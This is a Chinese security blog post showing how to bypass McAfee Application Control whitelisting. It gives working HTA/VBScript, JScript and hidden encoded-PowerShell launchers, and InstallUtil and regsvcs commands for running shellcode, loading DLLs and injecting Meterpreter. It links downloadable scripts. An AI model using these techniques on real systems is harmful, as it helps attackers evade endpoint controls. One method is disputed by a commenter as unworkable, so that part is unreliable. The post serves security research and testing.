Bypass McAfee Application Control——Code Execution


0x00 前言


应用白名单(Application Whitelisting)是用来防止未认证程序运行的一个计算机管理实践。它的目的是保护计算机和网络不受应用伤害。 McAfee Application Control作为其中比较有代表性的产品,使用动态的信任模型,避免了单调的人工更新许可清单工作。由于企业会面临来自网络的大量未知软件,因此这款可以集中管理的解决方案有助于及时控制系统安全策略,满足企业的运营需求。

那么,我们就试试看,究竟能不能绕过最新版的McAfee Application Control 6.2.0(截至投稿日期)

0x01 简介


p2

McAfee Application Control对常见文件类型如exe、dll、bat作了限制,白名单外的这些文件均无法运行。所以这次的目标就是绕过限制来执行文件。

0x02 配置McAfee Application Control


操作系统:win7x86

1.下载McAfee Application Control

http://www.mcafee.com/us/products/application-control.aspx填写信息并安装

2.配置流程图

3.Add the license

管理员权限执行McAfee Solidifier 命令行

1.查看许可证是否安装

执行

sadmin license list

2.添加许可证

在McAfee_Application_Control_v6_2_0_License.txt中会有

执行

sadmin license add 2708-0108-1402-2208-0710

如图

3.重启服务Application Control service

执行

net stop scsrvc
net start scsrvc

4.Create the whitelist

1.创建白名单规则

执行

sadmin solidify

需要等待很长一段时间,为当前系统中的所有文件创建规则,如果未添加许可证,该功能无法使用

2.查看白名单状态

执行

sadmin status

确保状态为Solidified

如图

5.Place Application Control in Enabled mode

1.开启程序控制,禁止白名单以外的程序运行

执行

sadmin enable

如图

重启系统,重启服务,执行

net stop scsrvc
net start scsrvc

2.查看状态

执行

sadmin status

确保McAfee Solidifier状态为Enabled

重启后如图

3.测试

新建一些测试文件

执行

sadmin list-unsolidified

查看白名单以外的程序

如图

执行

sadmin scripts list

查看禁止执行的文件类型

如图

分别执行exe、bat、dll,均被限制,如图

0x03 代码执行漏洞


1.难题

无法执行自己的程序

2.分析

根据白名单系统的特点,绕过的思路如下:

  1. 找到系统中的特定白名单程序

    利用该程序执行代码

    编写代码使其执行我们自己的程序

  2. 找到系统中未被拦截的特定程序

    利用该程序执行代码

    编写代码使其执行我们自己的程序

0x04 绕过方法


最终我们还是做到了:D

1.执行vbs

利用hta文件

Tips:

hta是HTML Applications的缩写,是利用HTML和Dynamic HTML(DHTML)开发应用程序

利用如下代码即可通过hta执行vbs

<HTML> 
<HEAD> 
<script language="VBScript">
    Set objShell = CreateObject("Wscript.Shell")
    objShell.Run "calc.exe"
</script>
</HEAD> 
<BODY> 
</BODY> 
</HTML> 

如图

然而并不完美,hta的界面会默认显示,所以我们需要进一步修改来隐藏hta的主界面

加入属性指定hta执行后最小化显示,完整的代码如下

<HTML> 
<HEAD> 
<script language="VBScript">
    Set objShell = CreateObject("Wscript.Shell")
    objShell.Run "calc.exe"
</script>
<HTA:APPLICATION ID="test"
WINDOWSTATE = "minimize">

</HEAD> 
<BODY> 
</BODY> 
</HTML> 

保存为vbs.hta,执行如图

2.执行jscript

jscript未被McAfee Application Control限制,因此可以被利用

如下代码保存为calc.js

var objShell = new ActiveXObject("WScript.shell");
objShell.run('calc.exe');

执行成功,如图

3.执行powershell

如果可以执行powershell代码,还担心绕不过McAfee Application Control吗?

当然,默认是肯定无法执行的,如图

方法1:

将ps1文件内容保存为script.txt,然后进入Powershell环境执行如下代码:

Get-Content script.txt | iex

但是如果txt中含有函数,会产生如下错误,需要更改脚本内容,错误如图

方法2:

利用hta可以执行vbs,再用vbs执行Powershell

使用如下代码并保存为vbs+ps.hta

<HTML> 
<HEAD> 
<script language="VBScript">
    Set WshShell = CreateObject("WScript.Shell")
    Connect="powershell -nop -windows hidden -E YwBhAGwAYwAuAGUAeABlAA=="
    WshShell.Run Connect, 4, true

</script>
<HTA:APPLICATION ID="test"
WINDOWSTATE = "minimize">

</HEAD> 
<BODY> 
</BODY> 
</HTML> 

执行后先调用vbs脚本,再执行Powershell命令

方法3:

利用快捷方式执行Powershell

右键新建一个快捷方式,填入如下代码,并保存为ps.lnk

powershell -nop -windows hidden -E YwBhAGwAYwAuAGUAeABlAA==

如图

运行快捷方式后执行Powershell命令,弹出计算器

方法4:

利用Powershell环境直接执行,简单粗暴

cmd下执行Powershell.exe进入Powershell环境,然后在下面直接输入所有命令即可

0x05 漏洞利用


目前我们已经可以在安装McAfee Application Control的系统中执行vbs、jscript、Powershell,那么利用上述方法可以实现什么呢?

1.执行shellcode

方法1:

利用vbs,将shellcode转为vbs,然后通过hta执行

参考地址:

http://blog.didierstevens.com/2009/05/06/shellcode-2-vbscript/

方法2:

利用js

方法3:

利用Powershell

在之前的文章对通过Powershell执行shellcode有过详细介绍,对其中的ps1文件细节作简单修改保存为1-CodeExecution-Shellcode.ps1

进入Powershell环境,然后在里面执行1-CodeExecution-Shellcode.ps1的所有内容

如图

方法4:

利用InstallUtil

在之前的文章《利用白名单绕过限制的更多测试》对此有过详细介绍

上传shellcode.cs,执行如下命令:

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe  /out:exeshell.exe Shellcode.cs

C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe

如图

方法5:

如果系统支持.net4.0,可以利用regsvcs

参考地址:

https://gist.github.com/subTee/fb09ef511e592e6f7993

上传key.snk和regsvcs.cs,执行如下命令:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library 

/out:regsvcs.dll /keyfile:key.snk regsvcs.cs
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe regsvcs.dll

2.执行exe

利用Powershell

在之前的文章对通过Powershell执行exe有过详细介绍,对其中的ps1文件细节作简单修改保存为2-CodeExecution-Exe.ps1

进入Powershell环境,然后在里面执行2-CodeExecution-Exe.ps1的所有内容

如图

3、加载dll

利用Powershell

在之前的文章对通过Powershell执行exe有过详细介绍,对其中的ps1文件细节作简单修改保存为3-CodeExecution-dll.ps1

进入Powershell环境,然后在里面执行3-CodeExecution-dll.ps1的所有内容

如图

4、注入meterpreter

利用Powershell

在之前的文章对通过Powershell执行exe有过详细介绍,对其中的ps1文件细节作简单修改保存为4-Process Injection-Meterpreter.ps1

进入Powershell环境,然后在里面执行4-Process Injection-Meterpreter.ps1的所有内容

如图

0x06 小结


我们成功在安装McAfee Application Control的系统上执行了vbs、exe、dll以及注入meterpreter。

当然McAfee Application Control还有其他一些保护功能,我们的研究测试也不只如此。

注:

以下文件可供下载

1-CodeExecution-Shellcode.ps1
2-CodeExecution-Exe.ps1
3-CodeExecution-dll.ps1
4-Process Injection-Meterpreter.ps1
calc.js
key.snk
ps.lnk
regsvcs.cs
Shellcode.cs
vbs+ps.hta
vbs.hta

下载地址:

https://github.com/3gstudent/Bypass-McAfee-Application-Control--Code-Execution

参考链接:

  1. http://bsidesvienna.at/slides/2015/a_case_study_on_the_security_of_application_whitelisting.pdf
  2. https://kc.mcafee.com/resources/sites/MCAFEE/content/live/PRODUCT_DOCUMENTATION/24000/PD24662/en_US/AppCtrl_BestPractices_Guide.pdf
  3. http://www.intel.com/content/dam/www/public/us/en/documents/guides/mcafee-application-control-product-guide.pdf
  4. http://subt0x10.blogspot.hk/2015/11/all-natural-organic-free-range.html
  5. http://blog.didierstevens.com/2009/05/06/shellcode-2-vbscript/
  6. http://subt0x10.blogspot.hk/2015/08/application-whitelisting-bypasses-101.html
  7. https://gist.github.com/subTee/a06d4ae23e2517566c52
  8. https://gist.github.com/subTee/fb09ef511e592e6f7993
  9. https://social.technet.microsoft.com/Forums/scriptcenter/en-US/08cce717-38d0-4def-a5bf-e5b4a846a597/run-powershell-from-hta

本文由三好学生原创并首发于乌云drops,转载请注明

评论

_

_Evil 2015-12-08 11:47:37

6666666666

路人甲 2015-12-08 16:30:25

方法1:
利用vbs,将shellcode转为vbs,然后通过hta执行
参考地址:
http://blog.didierstevens.com/2009/05/06/shellcode-2-vbscript/
这个东东转vbs,执行shellcode是不可以的。它转换后的代码不是vbs的代码,而是VB的代码,要通过VB编译成exe才可以的。
VBS执行程序(像DLL\SHELLCODE),可以参考一下我的这个技巧。http://www.haiyangtop.net/%E5%A5%87%E6%8A%80%E6%B7%AB%E5%B7%A7/vbs%E8%B0%83%E7%94%A8dll%E7%9A%84tips.txt

三好学生

good in study,attitude and health

twitter weibo github wechat

随机分类

MongoDB安全 文章:3 篇
运维安全 文章:62 篇
Exploit 文章:40 篇
区块链 文章:2 篇
网络协议 文章:18 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录